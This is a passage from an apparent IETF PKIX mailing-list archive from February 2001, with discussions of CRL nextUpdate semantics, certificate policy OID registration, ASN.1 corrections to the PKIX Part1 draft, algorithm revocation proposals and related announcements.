	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.

Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[email-masked]"

Content-Type: text/plain
Content-ID:	<[email-masked]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-impersonation-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-impersonation-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[email-masked]>

--OtherAccess--

--NextPart--

Reply-To: <[email-masked]>
From: "Jim Schaad" <[email-masked]>
To: "'David Kemp'" <[email-masked]>, <[email-masked]>
Subject: RE: Part1 last call comments
Date: Tue, 27 Feb 2001 20:31:56 -0800
Importance: Normal

> From: David Kemp [mailto:[email-masked]]
> Sent: Monday, February 26, 2001 1:46 PM
> To: [email-masked]
> Subject: Re: Part1 last call comments
>
>
>
> > From: "Jim Schaad" <[email-masked]>
> >
> > 4. Section 3.3 - Minor point,  in paragraph 4 - This should
> be "until all
> > existing CRLs expires" rather than "until the next periodic
> CRL update".  A
> > CRL may be valid for more than one issue period (i.e. issue
> every 12 hours,
> > expire after 24 hours).
>
>
> Jim,
>
> I disagree with this proposed change.  CRLs do not expire, they only
> have a next scheduled update date.  As section 3.3 paragraph 3 says,
> "the meaning of 'suitably-recent' may vary with local policy", and
> if one local policy says that CRLs which are issued every 12 hours
> don't expire until 24 hours after issue, fine.  A different local
> policy, however, might say that the identical CRL expires 13 hours
> after issue.
>

Dave,

Would the text "until all currently issued CRLs pass their nextUpdate." be
acceptable to you?  I merely want to reflect that there may be multiple
valid CRLs in existence, and until all of them have passed their nextUpdate
time a cached CRL can validly be expected to be used.

jim

Date: Tue, 27 Feb 2001 13:06:52 -0500
To: [email-masked]
From: TISC Programs <[email-masked]>
Subject: The Internet Security Conference 2001

The Fifth Internet Security Conference will be held June 4-8, 2001
at the Century Plaza Hotel and Tower, 2025 Avenue of the Stars,
Century City Los Angeles, CA 90067-4696. TISC is an educational
forum for security professionals and practitioners.

TISC Workshops on network security principles, Windows 2000 security,
firewall practices, incident response, security systems for the
Internet, attack trends and countermeasures, VPNs, and hacking are
presented by leading experts in the security community. For example,
Jody Patilla will teach a half-day intro-level "PKI - Nuts and Bolts"
seminar on Friday 6/8 (see http://www.tisc2001.com/seminars.html#G3)

In addition, over 50 security experts will offer technical advice
and present invited papers during the TISC Security Symposium.
Topics include Anti-Hacking, IDS, VPNs, Authentication and PKI,
web security and privacy, network forensics, LINUX security,
wireless security, malware, web threats, and more. A morning of
sessions focusing on PKI Interoperability and PKI in Global B2B
will be presented on Wednesday 6/6.

View the complete agenda at http://www.tisc2001.com/agenda.html

We hope to see you in Los Angeles!
The TISC 2001 Program Committee
www.tisc2001.com

From: [email-masked] (Peter Gutmann)
To: [email-masked], [email-masked]
Subject: Re: Registering a Certificate Policy OID
Cc: [email-masked]
Sender: [email-masked]
Reply-To: [email-masked]
Date: Wed, 28 Feb 2001 06:50:02 (NZDT)

Russ Housley <[email-masked]> writes:

>registry.  As with the ANSI arc, these are generally arcs assigned under the
>OID 2.16.  It may take some investigation to find the OID authority for a
>particular country.

I think you need to put that "some" into perspective, it's like saying "We can
cure world hunger, but it'll take some work" :-).  In some cases you can
eventually find someone responsible and they may or may not deign to allocate
you an OID, in many you'll end up on a long wild goose chase without getting
anywhere ("The last person who knew how this worked retired 10 years ago"), and
in at least one case you'll end up as the new registration authority ("We have
no idea who's supposed to do this, would you like the job?").

>over 7,500 companies to date.

This is really the only practical way for the average person/organisation to
get an OID.  It's quick and easy to do.

Peter.

Date: Tue, 27 Feb 2001 12:32:25 -0500
To: "Cameron Smith" <[email-masked]>
From: Russ Housley <[email-masked]>
Subject: Re: Registering a Certificate Policy OID
Cc: [email-masked]

Cameron:

Good luck,
    Russ

>How does one obtain/register a Certificate Policy OID for an organization?

Date: Tue, 27 Feb 2001 11:09:38 -0500 (EST)
From: David Kemp <[email-masked]>
Reply-To: David Kemp <[email-masked]>
Subject: Re: Part1 last call comments
To: [email-masked]
Content-MD5: SLcaipdLfLvmjZY7S2IOiw==

> From: Jean-Marc Desperrier <[email-masked]>
> 
> This is not the date _at_ which the next revocation list will be issued, but
> _by_which the CRL is garanteed to have been issued.
> 
> This garantee covers the case where there's a problem and the
> issuance/propagation of the CRL is slightly delayed.

nextUpdate is the date _at_ which the next _scheduled_ CRL will be issued,
as opposed to unscheduled CRLs issued in response to, e.g., reported
key compromises.

X.509 says _by_ which in order not to preclude the issuance of
unscheduled CRLs.

I'm not going to quibble about whether a few wallclock minutes +/-
disqualifies a CRL from being issued "_at_" a specific time;  the
property of interest is that for a scheduled CRL, the "thisUpdate"
field exactly equals the "nextUpdate" field of the previous CRL in
the series.

Sender: [email-masked]
Date: Tue, 27 Feb 2001 15:30:07 +0100
From: Michael =?iso-8859-1?Q?Str=F6der?= <[email-masked]>
Organization: stroeder.com
To: ietf-pkix <[email-masked]>
Subject: Re: Compile ASN.1 modules for CMP/CRMF

Michael Ströder wrote:

> Is it possible to find compilable ASN.1 modules for
> CMP/CRMF (RFC2510/RFC2511) somewhere?

Uhm. Yes, appendix F. Sorry.

Ciao, Michael.

Sender: [email-masked]
Date: Tue, 27 Feb 2001 14:53:17 +0100
From: Michael =?iso-8859-1?Q?Str=F6der?= <[email-masked]>
Reply-To: [email-masked]
Organization: stroeder.com
To: ietf-pkix <[email-masked]>
Subject: Compile ASN.1 modules for CMP/CRMF

HI!

Is it possible to find compilable ASN.1 modules for
CMP/CRMF (RFC2510/RFC2511) somewhere?

Ciao, Michael.

To: "Bland, Graham" <[email-masked]>
Subject: RE: multiple digitale signatures
Date: Tue, 27 Feb 2001 13:40:29 +0100 (MET)
From: [email-masked]
Cc: [email-masked]

Graham,

>   What about my extension to two protocols and two Crypto Libraries to cover
>   the compromise of these?

If you want to regard also failures that occurs in protocols, a solution would 
be to use two protocols and two implementations as well. It's same paradigm.

But we look at the following failures only:
- compromise of signature algorithm
- compromise of keys or systemparameter

We suppose that protocols like PKCS#7 are secure. 

>   In order to determine if it is possible I must have a bit more detail:
>
>   Please define Infocode, this is an OID that is interpreted by the software,
>   What is the software and what are the possible interpretations, if existing
>   software is to understand these codes then they must have predefined
>   meanings.  How does Infocode relate to the relevantID?

Infocode is interpreted by the client software like mail client, so the client
knows what to do - e.g. delete, add or update of algorithms. Software that don't 
unterstand Infocode should ignore it. 

relevantID contains a list of application identifier of intended application
like a chipcard AID or an ID of the mail client.

>   Does the use of freetext imply that the user is informed, can the user
>   influence anything or is this just a message to be displayed.

Depending on application and implementation I think the user should return
the following actions - analogous to virus scanner.

>   As this will be permanently in the 
>   relevantID,  This identifies compromised components, I presume these would
>   be defined for all cryptographic algorithms with a range of key lengths and
>   protocols, presumably separate ones for any possible options would be needed
>   for example SSL with and without client authentication.  Who is going to be
>   responsible for allocating these OIDs?
>
IMO the CA knows the OID of the used signature algorithms of its Certificate
Holders.
But it's right, I have to add keylength to differ between the compromised
algorithm
and the new one.

>   newID identifies a new component, is this intended to instruct a system to
>   dynamically reconfigure itself? Again does the software have to understand
>   these OIDS, if so all possible new components must be predefined.

Yes, the basis of the FlexiPKI is a flexible structure which allows the
exchange of signature algorithms separately

>   code, are you suggesting that this is the executable code to be used as the
>   new components referenced by newID or have I misread this completely.  If
>   this was intended to be the code then OS details etc are required as this
>   would be different for NT and Solaris systems.  All possible variants must
>   be included in the message

Yes, I think the CA stores the informations about the system requirements of its 
customers.
>
>   Once this extension has been sent what happens next, must it be permanently
>   left in place for any new users to read, is it removed after a period of
>   time or do all users acknowledge somehow that they have received it?
>   Certificates expire and can be removed from a CRL, these would never expire.
>
>   What happens if my system does not support RSA 4096 when this is mandated,
>   do I shut down?

This is a proposal to distribute the new RSA 4096 software. But if your system
doesn't allow the exchange, you will do shut down - in the same manner as now.
>
>   Does this apply to other protocols, for example must I throw away all RSA
>   512 bit PGP keys when this is revoked within a PKI?

If your certificate is revoked and you cannot work with it because the receiver
doesn't accept the signature: yes.

Best regards,
Soenke

Reply-To: <[email-masked]>
From: =?us-ascii?Q?Juan_Carlos_Perez_Aguayo?= <[email-masked]>
To: "'Cameron Smith'" <[email-masked]>, <[email-masked]>
Subject: RE: Registering a Certificate Policy OID
Date: Tue, 27 Feb 2001 09:35:32 -0400
Importance: Normal

regards

Juan Carlos

> How does one obtain/register a Certificate Policy OID for an

From: "Francois-Frederic Ozog" <[email-masked]>
To: <[email-masked]>, "Russ Housley" <[email-masked]>
Cc: <[email-masked]>
Subject: Usage of Attribute Certificates for carrier Mobile Internet solution
Date: Sun, 27 Feb 2000 04:27:37 +0100

This is a multi-part message in MIME format.

------=_NextPart_000_002D_01BF80DA.FA1354E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I am architecting a product line for wireless networks. I beleive I can =
greatly enhance ease of management and add "corporate services" features =
using an authorization scheme based on Attribute Certificate is very =
attractive. I would like to take a decision on this scenario ASAP and =
need some feed back on wheter it stands water or not:

1) When will it be a safe choice ?
Our prototype should be ready in three months and full product release =
in nine.

2) What are the current implementations ?

3) When will those implementations be "carrier grade" ?
Environment may have to server millions of subscribers.

Thank you for your help.

Fran=E7ois-Fr=E9d=E9ric Ozog
Principal Software Architect
+ 1 425 943 7707

PS: I assume that I can define a specific profile of AC usage addressing =
concerns expressed in a number of threads such as "Path Names to AC =
Holders, Targets andProxies", "Why is the holder DN prefered?".

------=_NextPart_000_002D_01BF80DA.FA1354E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I am architecting a product line for =
wireless=20
networks. I beleive I can greatly enhance ease of management and add =
"corporate=20
services" features using an authorization scheme&nbsp;based on Attribute =

Certificate is very attractive. I would like to take a decision on this =
scenario=20
ASAP and need some feed back on wheter it stands water or =
not:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>1) When will it be a safe choice =
?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Our prototype should be ready in three =
months and=20
full product release in nine.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>2) What are the current implementations =

?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>3) When will those implementations be =
"carrier=20
grade" ?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Environment may have to server millions =
of=20
subscribers.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thank you for your help.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Fran=E7ois-Fr=E9d=E9ric =
Ozog</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Principal Software =
Architect</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>+ 1 425 943 7707</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>PS: I assume that I can define a =
specific profile=20
of AC usage addressing concerns expressed in a number of threads such as =

"</FONT><FONT face=3DArial size=3D2>Path Names to AC Holders, Targets =
andProxies",=20
"Why is the holder DN prefered?".</FONT></DIV></BODY></HTML>

------=_NextPart_000_002D_01BF80DA.FA1354E0--

______________________________________________________________________________
ifrance.com, l'email gratuit le plus complet de l'Internet !
vos emails depuis un navigateur, en POP3, sur Minitel, sur le WAP...
http://www.ifrance.com/_reloc/email.emailif

Date: Tue, 27 Feb 2001 12:43:06 +0100
From: Jean-Marc Desperrier <[email-masked]>
Organization: Certplus
To: [email-masked]
Subject: Re: Part1 last call comments

David Kemp wrote:

> I agree that it is useful for a CRL
> to contain two items of information about CRL updates:
>
>   * the date at which the next scheduled CRL will be issued

_at_ which

>   * a CA-suggested date at which applications should consider
>       a CRL "expired" and start warning the user.
>
> However, X.509 defines "nextUpdate" as "the date/time by which
> the next revocation list in this series will be issued",

_by_ which

This is not the date _at_ which the next revocation list will be issued, but
_by_which the CRL is garanteed to have been issued.

This garantee covers the case where there's a problem and the
issuance/propagation of the CRL is slightly delayed.

Only after the nextUpdate delay, if the next CRL is not available, this is an
error.

Now stays to be discussed how much CA abuse this opening in the wording of the
standard by setting nextUpdate to 24 hours, when they issue new crl every 12
hours.

Date: Tue, 27 Feb 2001 03:12:06 -0700
To: "X.509":;
From: "Hoyt L. Kesterson II" <[email-masked]>
Subject: a new version of the 4th edition of x.509

hello all

Although the ITU had planned to publish the 4th edition of X.509 by 
now (it being traditional that a 2000 edition be published in that 
year) they did not do so. This gave Sharon an opportunity to 
integrate the latest approved technical corrigendum, TC 1, into the 
edition.

I have posted that new version upon the server in pdf and word formats at

ftp://ftp.bull.com/pub/OSIdirectory/4thEditionTexts/X509_4thEditionDraftV7.doc 
and

ftp://ftp.bull.com/pub/OSIdirectory/4thEditionTexts/X509_4thEditionDraftV7.pdf

The drafts of the 4th edition of the other parts of X.500 are also 
available at the same server. Several definitions in these standards 
are referenced by X.509. For example

The UsefulDefinitions module is in annex A of X.501 at

ftp://ftp.bull.com/pub/OSIdirectory/4thEditionTexts/X501_4thEditionDraftV3.doc 
and

ftp://ftp.bull.com/pub/OSIdirectory/4thEditionTexts/X501_4thEditionDraftV3.pdf 

The revised definition of DirectoryString containing UTF8String is in 
clause 5 of X.520, Selected Attribute Types, at

ftp://ftp.bull.com/pub/OSIdirectory/4thEditionTexts/X520_4thEditionDraftV3.doc 
and

ftp://ftp.bull.com/pub/OSIdirectory/4thEditionTexts/X520_4thEditionDraftV3.pdf

Normally I would end this message with a warning to get this standard 
from the server while it is hot. However ITU is allowing any three 
recommendations to be downloaded at no cost from their server. It is 
an interesting experiment that they are evaluating for 2001. For more 
information see

    http://www.itu.int/publications/bookshop/how-to-buy.html

The more devious among you will notice that it is possible to abuse 
the service. Please try to restrain yourself. Since these are 
copyrighted documents, one should not napsterize them.

   hoyt

To: Joerg Seidel <[email-masked]>
Subject: Re: Algorithm revocation
Date: Tue, 27 Feb 2001 10:52:03 +0100 (MET)
From: [email-masked]
Cc: =?ISO-8859-1?Q?S=F6nke_Maseberg?= <[email-masked]>, [email-masked]

Quoting Joerg Seidel <[email-masked]>:

> If one of the layers fails the other can help...

Our proposal follows the same paradigm, I think. 

Soenke

Subject: Registering a Certificate Policy OID
To: [email-masked]
From: "Cameron Smith" <[email-masked]>
Date: Mon, 26 Feb 2001 16:20:46 -0800

Regards,

Cameron

--
Cameron Smith
PKI Security Analyst
Symantec Corporation

Date: Mon, 26 Feb 2001 16:46:28 -0500 (EST)
From: David Kemp <[email-masked]>
Reply-To: David Kemp <[email-masked]>
Subject: Re: Part1 last call comments
To: [email-masked]
Content-MD5: WOlbpQK5Bja+GBW49OF9gg==

> From: "Jim Schaad" <[email-masked]>
> 
> 4. Section 3.3 - Minor point,  in paragraph 4 - This should be "until all
> existing CRLs expires" rather than "until the next periodic CRL update".  A
> CRL may be valid for more than one issue period (i.e. issue every 12 hours,
> expire after 24 hours).

Jim,

I disagree with this proposed change.  CRLs do not expire, they only
have a next scheduled update date.  As section 3.3 paragraph 3 says,
"the meaning of 'suitably-recent' may vary with local policy", and
if one local policy says that CRLs which are issued every 12 hours
don't expire until 24 hours after issue, fine.  A different local
policy, however, might say that the identical CRL expires 13 hours
after issue.

The topic of CRL "expiration" was discussed last year, and I
understand that a PKIX proposal for a new "date-to-check-for-updated-CRL" 
extension is again in preparation.  I agree that it is useful for a CRL
to contain two items of information about CRL updates:

  * the date at which the next scheduled CRL will be issued
  * a CA-suggested date at which applications should consider
      a CRL "expired" and start warning the user.

However, X.509 defines "nextUpdate" as "the date/time by which
the next revocation list in this series will be issued", and
any proposal for a new CRL extension should follow the X.509
definition:

  CRL Field          Purpose
  -----------    -----------------
  nextUpdate     1) next scheduled CRL update
  new extension  2) CA-provided hint for CRL expiration date

instead of following the currently common CA practice of ignoring
the X.509 definition:

  CRL Field          Purpose
  -----------    -----------------
  nextUpdate     1) CRL "expiration" date
  new extension  2) actual next scheduled CRL update

If a new CRL extension is defined, it will eliminate the motivation
for CAs to populate nextUpdate with a white lie as a workaround for
propogation time issues.  The new extension should be defined so
that it eliminates the need for an inaccurate nextUpdate, rather
than perpetuating it.

Regards,
Dave

Sender: [email-masked]
Date: Mon, 26 Feb 2001 19:34:56 +0100
From: Michael =?iso-8859-1?Q?Str=F6der?= <[email-masked]>
Organization: stroeder.com
To: ietf-pkix <[email-masked]>
Subject: Re: draft-ietf-pkix-rfc2511bis-00.txt: Declaration of Name

Ari Kermaier wrote:
> 
> >Could you tell me why the declaration of "Name"
> >is missing or where I am supposed to find it?
>
> See RFC 2459 Section 4.1.2.4 Issuer.

Thank you. I overlooked:

IMPORTS
     -- Directory Authentication Framework (X.509)
        Version, AlgorithmIdentifier, Name, Time,

Ciao, Michael.

Date: Mon, 26 Feb 2001 12:15:57 -0500
To: [email-masked] (Michael =?iso-8859-1?Q?Str=F6der?= ), ietf-pkix <[email-masked]>
From: Ari Kermaier <[email-masked]>
Subject: Re: draft-ietf-pkix-rfc2511bis-00.txt: Declaration of Name 

See RFC 2459 Section 4.1.2.4 Issuer.

::Ari

>HI!
>
>I'm reviewing draft-ietf-pkix-rfc2511bis-00.txt.
>I stumbled across declaration of CertTemplate:
>
>CertTemplate ::= SEQUENCE {
>[..]
>     issuer       [3] Name                  OPTIONAL,
>[..]
>     subject      [5] Name                  OPTIONAL,
>[..]
>
>But I did not find a declaration of the form
>
>Name ::=
>
>Although I found the declaration
>
>       issuerName  ::= <names>
>       subjectName ::= <names>
>
>in appendix B.1.1. Could you tell me why the declaration of "Name"
>is missing or where I am supposed to find it?
>
>Ciao, Michael.

Sender: [email-masked]
Date: Mon, 26 Feb 2001 16:29:15 +0100
From: [email-masked] (Michael =?iso-8859-1?Q?Str=F6der?=)
Organization: stroeder.com
To: ietf-pkix <[email-masked]>
Subject: draft-ietf-pkix-rfc2511bis-00.txt: Declaration of Name 

HI!

I'm reviewing draft-ietf-pkix-rfc2511bis-00.txt.
I stumbled across declaration of CertTemplate:

CertTemplate ::= SEQUENCE {
[..]
    issuer       [3] Name                  OPTIONAL,
[..]
    subject      [5] Name                  OPTIONAL,
[..]

But I did not find a declaration of the form

Name ::=

Although I found the declaration

      issuerName  ::= <names>
      subjectName ::= <names>

in appendix B.1.1. Could you tell me why the declaration of "Name"
is missing or where I am supposed to find it?

Ciao, Michael.

From: "=?big5?B?psqz0w==?=" <[email-masked]>
To: <[email-masked]>
Subject: information about Private Marks
Date: Sun, 25 Feb 2001 22:39:14 +0800

This is a multi-part message in MIME format.

------=_NextPart_000_006D_01C09F7B.C78F8780
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

hi....how do you do!

I come from Tainan city in Taiwan. I am a graduate student.
I am interested in Private Marks. And hope to receive some=20
information about Private Marks.If it is convenient to send
some information about introductions and technique of Private
 Marks, please send them to help me....

Thanks=20
                                         baai

PS: Sorry, my English is very poor,especially Syntax

------=_NextPart_000_006D_01C09F7B.C78F8780
Content-Type: text/html;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dbig5" http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><STRONG><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>hi....how do you =
do!</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>I come from Tainan city in =
Taiwan. I am a graduate=20
student.</FONT></DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>I am interested in Private =
Marks. And hope to receive=20
some </FONT></DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>information about Private =
Marks.If it is convenient=20
to send</FONT></DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>some information about =
introductions and technique of=20
Private</FONT></DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>&nbsp;Marks, please send =
them to help=20
me....</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>Thanks </FONT></DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9=20
size=3D4>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
baai</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>PS: Sorry, my English is =
very poor,especially=20
Syntax</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></FONT></STRONG></DIV></BODY></HTML>

------=_NextPart_000_006D_01C09F7B.C78F8780--

content-class: urn:content-classes:message
Subject: Re: Part1 last call comments
Date: Fri, 23 Feb 2001 13:59:02 -0800
From: "Paul Hoffman / IMC" <[email-masked]>
To: <[email-masked]>, "Tim Polk (E-mail)" <[email-masked]>, "Russ Housley (E-mail)" <[email-masked]>
Cc: "IETF-PKIX (E-mail)" <[email-masked]>

This is a multi-part message in MIME format.

------_=_NextPart_001_01C09DE4.A902A100
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

The latter set of Jim's comments should cause some alarm on this=20
list. It appears that the ASN.1 modules have not been checked, except=20
by Jim Schaad.

It isn't appropriate to pass this on to IETF last call until we have=20
at least one (and hopefully two) people have verified on the list=20
that each of the modules have passed through their ASN.1 verifiers=20
with no errors. It would be nice if anyone verifying the modules=20
could list the warnings that their parsers dump out.

--Paul Hoffman, Director
--Internet Mail Consortium

------_=_NextPart_001_01C09DE4.A902A100
Content-Type: application/ms-tnef;
	name="winmail.dat"
Content-Transfer-Encoding: base64

------_=_NextPart_001_01C09DE4.A902A100--

Date: Fri, 23 Feb 2001 13:59:02 -0800
To: <[email-masked]>, "Tim Polk \(E-mail\)" <[email-masked]>, "Russ Housley \(E-mail\)" <[email-masked]>
From: Paul Hoffman / IMC <[email-masked]>
Subject: Re: Part1 last call comments
Cc: "IETF-PKIX \(E-mail\)" <[email-masked]>

The latter set of Jim's comments should cause some alarm on this 
list. It appears that the ASN.1 modules have not been checked, except 
by Jim Schaad.

It isn't appropriate to pass this on to IETF last call until we have 
at least one (and hopefully two) people have verified on the list 
that each of the modules have passed through their ASN.1 verifiers 
with no errors. It would be nice if anyone verifying the modules 
could list the warnings that their parsers dump out.

--Paul Hoffman, Director
--Internet Mail Consortium

Date: Fri, 23 Feb 2001 13:16:26 -0500 (EST)
From: "David P. Kemp" <[email-masked]>
Reply-To: "David P. Kemp" <[email-masked]>
Subject: Re: Open Issue in Part1: path length constraints
To: [email-masked]
Content-MD5: OOwBIvL+ASLC9YKBk/rurA==

Steve,

> From: Steve Hanna <[email-masked]>
> 
> The original text said:
> 
>    The pathLenConstraint field is meaningful only if cA is set to TRUE.
>    In this case, it gives the maximum number of CA certificates that may
>    follow this certificate in a certification path. A value of zero
>    indicates that only an end-entity certificate may follow in the path.
> 
> The revised text says:
> 
>    The pathLenConstraint field is meaningful only if cA is set to TRUE.
>    In this case, it gives the maximum number of CA certificates that may
>    follow this certificate in a certification path. (Note: One end-
>    entity certificate will follow the final CA certificate in the path.
>    The last certificate in a path is considered an end-entity
>    certificate, whether the subject of the certificate is a CA or not.)
>    A pathLenConstrinat of zero indicates that only an end-entity
>    certificate may follow in the path.
> 
> I find it odd to say that a certificate with cA=TRUE is a CA certificate
> *unless* it is the last certificate in a path. I suppose this is only a
> wording problem, but I find this wording *less* clear than the old
> wording.

The oddness arises because you are applying the label "CA certificate"
to the certificate based on its contents instead of its usage.

If a certificate contains cA=TRUE and
keyCertSign=cRLSign=digitalSignature=1, then it can be used for more
than one purpose.  It is a CA certificate when validating the signature
of a certificate, and it is an EE certificate when validating the
signature of a CRL or a message.  (A CA should not use a cert-signing
private key to sign correspondence, but X.509 doesn't prohibit unhygenic
practices.)

X.509 says of the Basic Constraints extension: "the cA component
indicates if the certified public key may be used to verify
certificate signatures."    It does not indicate that the public
key may not be used to verify other (CRL, message) signatures.

I believe the parenthetical note in the revised text is helpful,
but it would read better if it were at the end:

    The pathLenConstraint field is meaningful only if cA is set to
    TRUE.  In this case, it gives the maximum number of CA certificates
    that may follow this certificate in a certification path.
    A pathLenConstraint of zero indicates that only an end-entity
    certificate may follow in the path.  (Note: One end-entity
    certificate will follow the final CA certificate in the path.
    The last certificate in a path is an end-entity certificate,
    whether the subject of the certificate is a CA or not.)

(The last certificate in a path is not just "considered" an
end-entity certificate, it is one.  Proof by construction.)

Sender: [email-masked]
Date: Fri, 23 Feb 2001 18:24:39 +0100
From: [email-masked] (Michael =?iso-8859-1?Q?Str=F6der?=)
Organization: stroeder.com
To: [email-masked]
Subject: Re: multiple digitale signatures

Peter Gutmann wrote:
> 
> It's quite possible that all this extra cruft will
> greatly decrease security rather than providing any
> measurable increase.

I agree with that.

Ciao, Michael.

Reply-To: <[email-masked]>
From: "Jim Schaad" <[email-masked]>
To: "Tim Polk \(E-mail\)" <[email-masked]>, "Russ Housley \(E-mail\)" <[email-masked]>
Cc: "IETF-PKIX \(E-mail\)" <[email-masked]>
Subject: Part1 last call comments
Date: Fri, 23 Feb 2001 08:29:14 -0800
Importance: Normal

1.  Section 4.2.2.2 - Do you consider the reference to PKIX TSA to be
nomative or not?  I would not recommend this for progression of the part1
draft.

2.  Section 4.2.2.2 - "the Time STamp" should be "the Time Stamp"

3.  Section 4.2.2.2 - Recommend moving the defintion of id-ad-caRepository
to implicit ASN.1 module since that is where accessLocation is located.

4. Section 3.3 - Minor point,  in paragraph 4 - This should be "until all
existing CRLs expires" rather than "until the next periodic CRL update".  A
CRL may be valid for more than one issue period (i.e. issue every 12 hours,
expire after 24 hours).

5.  ASN Module A.1:  Do not have a new module OID for this.

6.  A.1:
                   X520SerialNumber        PrintableString (SIZE
(1..ub-serial-number))
      replace with
                   X520SerialNumber        ::= PrintableString (SIZE
(1..ub-serial-number))

7. Section A.1
                   id-domainComponent      AttributeType ::=
id-domainComponent
     replace with
                   id-domainComponent      AttributeType ::=
 id-domainComponent }

8.  ASN Module A.2:  Do not have a new module OID for this.

9.  Section A.2
                anyPolicy OBJECT IDENTIFIER ::= {id-ce-certificate-policies
0}
      replace with
                anyPolicy OBJECT IDENTIFIER ::= {id-ce-certificatePolicies
0}
      (or fix the previous line)

----------------   Algorithm Draft

ASN Module:
Fix:
   PKIX1Algorithms88 { tbd }

Replace
            cofactor  INTEGER  OPTIONAL,         -- The integer h = #E(Fq)/n
With
            cofactor  INTEGER  OPTIONAL          -- The integer h = #E(Fq)/n

------------------ Random

part1-algs.asn(3) : warning XXXXX: Module PKIX1Algorithms88 does not have an
OID assigned to it

 --- single name would be nice but not necessary.  In the case of pkcs-9
however there should be a harmonization plan.

rfc2630.asn(254) : warning XXXXX: Arc naming collision between x9algorithm
and x9cm
	Conflicts with what's in Algorithms draft
rfc2630.asn(262) : warning XXXXX: Oid value assigned to multiple symbols:
'dh-public-number' and 'dhpublicnumber'
	Conflicts with what's in Algorithms draft
rfc2634.asn(204) : warning XXXXX: Arc naming collision between pkcs-9 and
pkcs9
	Conflicts with what's in Part1 A.1

From: [email-masked] (Peter Gutmann)
To: [email-masked]
Subject: RE: multiple digitale signatures
Sender: [email-masked]
Reply-To: [email-masked]
Date: Sat, 24 Feb 2001 04:44:30 (NZDT)

"Bland, Graham" <[email-masked]> writes:

>What about my extension to two protocols and two Crypto Libraries to cover the
>compromise of these?

Actually you'd need at least three to recover from Byzantine faults (cancelling
a secure algorithm to force people to move to a less secure one would make for
a really nice attack).  It's quite possible that all this extra cruft will
greatly decrease security rather than providing any measurable increase.

Peter.

From: "Bland, Graham" <[email-masked]>
To: =?iso-8859-1?Q?=27S=F6nke_Maseberg=27?= <[email-masked]>
Cc: [email-masked]
Subject: RE: multiple digitale signatures
Date: Fri, 23 Feb 2001 11:17:21 -0000

Sonke,

> From: Sönke Maseberg [mailto:[email-masked]]
> Sent: 23 February 2001 10:14
> To: Bland, Graham
> Cc: [email-masked]
> Subject: Re: multiple digitale signatures
> 
> 
> Graham,
> 
